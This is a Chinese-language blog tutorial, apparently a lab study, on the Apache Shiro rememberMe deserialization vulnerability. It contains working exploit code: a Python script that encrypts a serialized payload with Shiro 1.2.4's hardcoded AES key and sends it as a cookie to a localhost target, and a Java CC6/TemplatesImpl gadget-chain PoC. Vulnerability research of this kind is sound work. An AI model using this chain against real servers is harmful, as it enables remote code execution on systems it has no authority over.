参考链接:https://www.cnblogs.com/1vxyz/articles/17594014.html
前言:
shiro的反序列化是基于cc链和cb链的基础的,对这些没有概念的可以去看我的博客()
shiro概述:
Shiro是一个基于Java的强大且易于使用的开源安全框架,用于身份验证、授权、加密和会话管理。Shiro的设计目标是为应用程序提供简单但强大的安全性解决方案,使开发人员能够轻松地集成各种安全功能到他们的应用程序中。
Shiro提供了一系列的功能,包括但不限于:
-
身份验证(Authentication):验证用户的身份是Shiro最基本的功能之一。Shiro支持多种身份验证方式,包括用户名密码验证、基于角色的验证、基于权限的验证等。
-
授权(Authorization):授权是确定哪些用户可以访问应用程序中的哪些资源的过程。Shiro提供了精细的授权控制机制,可以基于角色、权限等对用户进行授权管理。
-
加密(Cryptography):Shiro提供了加密和解密数据的方法,可以帮助开发人员保护应用程序中敏感数据的安全性。
-
会话管理(Session Management):Shiro可以处理用户会话管理,包括会话的创建、存储、过期和删除等功能,帮助开发人员管理用户登录状态和会话信息。
总的来说,Shiro是一个全面的安全框架,可以帮助开发者快速集成安全功能到他们的Java应用程序中,提供身份认证、授权、加密和会话管理等关键功能。Shiro的简单易用性和强大性能使其成为Java开发人员广泛采用的安全解决方案之一。希望这个解释对您有帮助!如有任何其他问题,请随时告诉我!
漏洞分析:
成因
简要的说就是shiro框架通过cookie验证身份,对cookie进行了一系列加密手段,其中包括序列化。因此我们知道其加密手段,就可加密一个恶意类,当其被反序列化时就会触发恶意代码。
加密流程:
我们直接来看shiro对于cookie的解密函数getRememberedSerializedIdentity()
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
获取request请求的cookie,然后对其进行base64解密,返回解密后的内容
看看在哪调用了上面的函数,看看解密后的内容用来干什么。
重点在convertBytesToPrincipals函数,进入看看,在这边先调用了一个解密函数,再调用了反序列化函数,看看解密函数是怎么样的。
cipherService是new AesCipherService()的实例,听名字就是aes加密的算法服务。
AES(Advanced Encryption Standard)是一种对称加密算法,是一种被广泛使用的加密标准。它是用来保护电子数据的常见加密技术,比如在网络安全、通信系统等领域广泛使用。
AES算法支持128位、192位和256位的密钥长度,它会将明文按照固定长度(128位)进行分组,并通过一系列的加密轮(rounds),对每个密钥长度对应的轮数进行加密操作,最终生成密文。
解密函数传入了要解密的数据和密钥,密钥是通过getDecryptionCipherKey()获取的,知道这个密钥,我们就能自己加密恶意数据了,进入方法看看
一步步往回推,最后可以找到key就是下面的内容
加密脚本:
import sys
from datetime import datetime
from Crypto.Cipher import AES
import uuid
import base64
import requests
def get_file_data(filename):
with open(filename, "rb") as f:
data = f.read()
f.close()
return data
def aes_encode(ser_bin):
# aes数据分组长度为128 bit
BS = AES.block_size
# padding
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# shiro1.2.4 硬编码key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# CBC模式
mode = AES.MODE_CBC
# 偏移量随机
iv = uuid.uuid4().bytes
# 创建加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 使用密钥进行AES加密 Base64加密
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(ser_bin)))
return base64_ciphertext.decode("utf-8")
def exp(cipher):
cookies = {
'rememberMe': cipher,
}
headers = {
'Host': 'localhost:8080',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'sec-ch-ua': '"-Not.A/Brand";v="8", "Chromium";v="102"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'Referer': 'http://localhost:8080/samples_web_war/login.jsp',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
}
requests.get('http://localhost:8080/samples_web_war/', cookies=cookies, headers=headers)
if __name__ == '__main__':
#打印payload,ser.bin为序列化的恶意类,与脚本在同目录下
print(aes_encode(get_file_data("ser.bin")))
#加上发包
#exp(aes_encode(get_file_data("ser.bin")))
print('success')
存在问题
shiro中虽然自带了cc3的依赖,但实际上并没有加载这个依赖。但是实际上就算加载了cc3依赖,用常见的cc链直接打也会出现报错。
原因是shiro的deserialize经过重写,不能加载数组。
前面的getSerializer()返回的是DefaultSerializer,调用其中的deserialize
可以看到这里用的不是正常的 new ObjectInputStream(bis),而是new ClassResolvingObjectInputStream(bis),在ClassResolvingObjectInputStream中重写resolveClass方法,这个方法会在反序列化时自动调用。
相较于ObjectInputStream.resolveClass()通过class.forname()获取class对象,ClassResolvingObjectInputStream.resolveClass()通过ClassUtils.forName,区别就是后者不支持数组。
漏洞利用
cc3:
因为shiro并没有加载cc3的依赖,因此我们自己在pom.xml中加上即可
不能利用transform数组意味着不能用chaintransformer来触发恶意链,所以我们考虑使用cc链2中的动态加载恶意类来触发恶意代码,但是transformingComparator在cc3中没有实现序列化接口,不能被序列化,因此我们需要考虑别的方法来触发Invoketransformer.transform(),进而触发TemplatesImpl.newTransformer()。
lazyMap.get()方法就是不错的选择,而在cc1,5,6中都调用了lazyMap.get(),理论上三者都可行,这里笔者仅拿cc6写poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_cc3 {
public static void main(String[] args) throws Exception {
String url = "org.example.test";
byte[] code = Files.readAllBytes(Paths.get("E:\\java_code\\shiro_ser\\target\\classes\\org\\example\\cc3_test.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
Field aClass = templatesClass.getDeclaredField("_class");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
name.setAccessible(true);
aClass.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
name.set(templates, "aaa");
aClass.set(templates, null);
bytecodes.set(templates, codes);
tfactory.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//恶意的lazymap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);//恶意的对象
map.put(tiedMapEntry,"value");
map.remove(templates);
Class c = lazymap.getClass();
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
serializeObjectTool.serialize(map); //自己写的序列化和反序列化代码
serializeObjectTool.unserialize();
}
}
将生成的ser.bin文件加密后替换cookie中的rememberMe字段即可。
注意要把前面的jsessionid字段删除,因为识别了这个字段就不会去看后面的rememberMe了
cb:
cb依赖是shiro自带并且真正加载了的,因此可以拿cb链的poc直接打,就不多讲了